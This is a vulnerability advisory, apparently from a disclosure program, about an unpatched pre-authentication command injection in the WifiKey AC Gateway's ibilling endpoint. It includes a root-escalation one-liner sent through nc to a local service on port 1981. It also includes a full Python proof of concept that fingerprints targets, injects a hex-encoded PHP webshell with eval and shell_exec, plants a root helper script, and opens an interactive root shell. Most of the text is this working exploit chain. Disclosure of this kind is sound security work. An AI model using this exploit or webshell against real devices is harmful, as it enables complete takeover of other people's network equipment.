SSD Advisory – WifiKey AC Gateway Pre-auth RCE

Summary

A vulnerability exists in WifiKey’s AC Gateway allowing remote attackers to trigger a pre-auth RCE vulnerability in the product allowing complete compromise of the device.

Credit

An independent security researcher working with SSD Secure Disclosure.

Affected Versions

WifiKey AC Gateway

Vendor Response

We have emailed the vendor and again after 30 days, but have received no response from them. There is no known patch at this time for these vulnerabilities.

Technical Analysis

The WifiKey AC Gateway includes a file located at www/portal/ibilling/index.php, this file is accessible to users without authentication – accessing it shows no information, but inspection of its content will show:

<?php
include('../../config/ibilling.php');

$post = file_get_contents("php://input");

$json = json_decode($post, true);

$type = $json['type'];
$version = $json['version'];
$ip = $json['user-ip'];
$user = $json['user-name'];
$passwd = $json['user-passwd'];
$serial = $json['serial-no'];
$bypass = $json['bypass'] ? $json['bypass'] : 10;


$rep = new Crypt3Des();
$rep->key($CONFIG_AUTH_IBILLING_KEY);

$radius = new radius();

$passwd = $rep->decrypt($passwd);


if ($type == '1') {
    if ($radius->login($ip, $user, $passwd) != 0) {
        echo json_encode(array('error-code' => 1, 'error-msg' => ($radius->error())));
        return;
    }

    echo json_encode(array('type' => '2', 'error-code' => 0, 'error-msg' => 'success', 'serial-no' => $serial, 'len' => 250));
} else if ($type == '3') {
    if ($radius->logout($ip) != 0) {
        echo json_encode(array('error-code' => 1, 'error-msg' => ($radius->error())));
        return;
    }

    echo json_encode(array('type' => '4', 'error-code' => 0, 'error-msg' => 'success', 'serial-no' => $serial, 'len' => 250));
} else if ($type == '5') {
    @exec("/usr/hls/bin/arctl -m pass -i $ip -t $bypass", $info);
    echo json_encode(array('type' => '6', 'error-code' => 0, 'error-msg' => 'success', 'serial-no' => $serial, 'len' => 250));
}

As you can see the snippet doesn’t require any authorisation, while looking on the file you will notice the exec function accepts two parameters $ip and $bypass. If we change the type value to 5 the user can control the $ip value. Since there is no any escaping method we can execute any commands.

Rooting

While the above RCE will get you limited access (running as the web user) a service running on the device on port 1981 can be used to gain elevated privileges, this can be simply done by issuing the following command:

echo tcpdump capture dev lo count 2 expr '$(id>/www/i.txt)'|nc 127.0.0.1 1981

Proof of Concept

#!/usr/bin/python3

import sys
from time import sleep
import readline
from base64 import b64encode as base64_encode
import requests
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


ROOT_SCR = """cat > /tmp/.r << _EOT
#!/bin/sh

touch /tmp/.rdie
sleep 1
rm -rf /tmp/.rdie /tmp/.r

killall -9 tcpdump
while true; do
    if [ -e /tmp/.rcmd ] && [ -f /tmp/.rcmd ]; then
        touch /tmp/.cmdout
        chmod 777 /tmp/.cmdout
        chwon 100:33 /tmp/.cmdout
        cat /tmp/.rcmd | sh >>/tmp/.cmdout 2>>/tmp/.cmdout &
		sleep 1
        rm -rf /tmp/.rcmd
    fi 

    if [ -e /tmp/.rdie ];then
        rm -rf /tmp/.rdie /tmp/.rcmd /tmp/.cmdout
        exit 1
    fi
done
_EOT

echo tcpdump capture dev lo count 2 expr '$(cat${IFS}/tmp/.r|sh${IFS}>/dev/null${IFS}2>/dev/null${IFS}&)' | nc 127.0.0.1 1981

echo 'echo Rooted;id;pwd;uname -a' > /tmp/.rcmd
sleep 1
cat /tmp/.cmdout && rm -rf /tmp/.cmdout 2>/dev/null
"""


class RouterRCE:
    def __init__(self, target):
        self.target = target.strip("/")
        payload_plain = """<?php

if (isset($_FILES['shs'])) {
    $fname = $_FILES['shs']['tmp_name'];
    echo shell_exec("sh $fname 2>&1");
} 

if (isset($_REQUEST['pc'])) {
    eval($_REQUEST['pc']);
}

if (isset($_REQUEST['g'])) {
    $c = $_REQUEST['g'];
    echo shell_exec("$c 2>&1");
}"""
        payload = binascii.hexlify(payload_plain.encode("latin1"), sep="x").decode()
        payload = "x" + payload

        payload = payload.replace("x", "\\x")

        self.payload = (
            f";echo -e '{payload}' > "
            "/tmp/.ff;echo tcpdump capture dev lo count 2 expr "
            "'$(mv${IFS}/tmp/.ff${IFS}/www/ix.php)'|nc 127.0.0.1 1981;"
        )

        self.headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0",
            "Accept": "*/*",
            "Connection": "close",
        }

    def Checker(self):
        r = requests.get(self.target, verify=False, headers=self.headers, timeout=1)
        if (
            "<title>碧海威L7云路由无线运营版</title>" in r.text
            or "<title>WIFISKY 7层流控路由器</title>" in r.text
        ):
            path = requests.get(
                self.target + "/portal/ibilling/index.php", verify=False, timeout=1
            )
            if path.status_code == 200:
                print("Checking is Done..")
                return True

    def exploit(self):
        print("Sending Paylod")
        r = requests.post(
            self.target + "/portal/ibilling/index.php",
            json={"type": "5", "user-ip": self.payload, "bypass": "AAAA"},
            verify=False,
            headers=self.headers,
            timeout=1,
        )
        if r.status_code != 200 or r.text.find("error-code") == -1:
            print("Error exploiting target")
            print(r.status_code)
            print(r.text)
            return False

        print(f"Status Code: {r.status_code}, Response: {r.json()}")

        print("Verifying webshell...")
        tot = 30
        c = 0
        up = False
        while c < tot:
            b = requests.post(
                self.target + "/ix.php",
                data={"g": "echo SHELL_UPLOAD;id;pwd"},
                verify=False,
                timeout=1,
            )
            if b.status_code == 200 and b.text.find("SHELL_UPLOAD") != -1:
                sys.stdout.write(f"\nShell confirmed in {c} seconds.\n")
                sys.stdout.flush()
                up = True
                break
            sys.stdout.write(".")
            sys.stdout.flush()
            sleep(1)
            c += 1
        if not up:
            return False
        print("Shell uploaded.")
        return True

    def shell(self):
        print("\nStarting shell execution")
        print("Rooting server")

        b = requests.post(
            self.target + "/ix.php", files={"shs": ROOT_SCR}, verify=False, timeout=1
        )

        if b.status_code != 200 or b.text.find("uid=0(root)") == -1:
            print("\n- Rooting the server failed, Please do that manually.")
            print(b.status_code)
            print(b.text)
        else:
            print("- Server rooted.")
            print("+ Debug output: ")
            print(b.text)

        print("\nStarting webshell, Use quit to exit.\n")

        readline.parse_and_bind("set editing-mode emacs")

        while True:
            cmd = input(f"root@[{self.target}]# ")
            if cmd.strip() in ["exit", "quit"]:
                print("Exiting")
                return True

            cmd_enc = base64_encode(cmd.encode()).decode()
            mycmd = (
                f'$command = base64_decode("{cmd_enc}");file_put_contents("/tmp/.rcmd", '
                '"$command\\n");sleep(1);echo file_get_contents("/tmp/.cmdout");'
                'file_put_contents("/tmp/.cmdout","");'
            )
            b = requests.post(
                self.target + "/ix.php", data={"pc": mycmd}, verify=False, timeout=1
            )
            print(b.text)

    def run(self):
        if not self.Checker():
            print("Target isn't Vulnerable")
            return
        print("Target is Vulnerable Sending Payload")

        if not self.exploit():
            exit("Exploitation Failed Something is wrong")

        return self.shell()


def usage():
    print(f"[-] {sys.argv[0]} http(s)://target_url")


def main():
    if sys.version_info[0] != 3:
        print("Use Python 3 to run this Script.")
        sys.exit(-1)
    if len(sys.argv) < 2:
        usage()
        sys.exit(-1)

    RouterRCE(sys.argv[1]).run()


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("*CRT+C Received.* ====> Aborting")
        sys.exit(-1)

?

Get in touch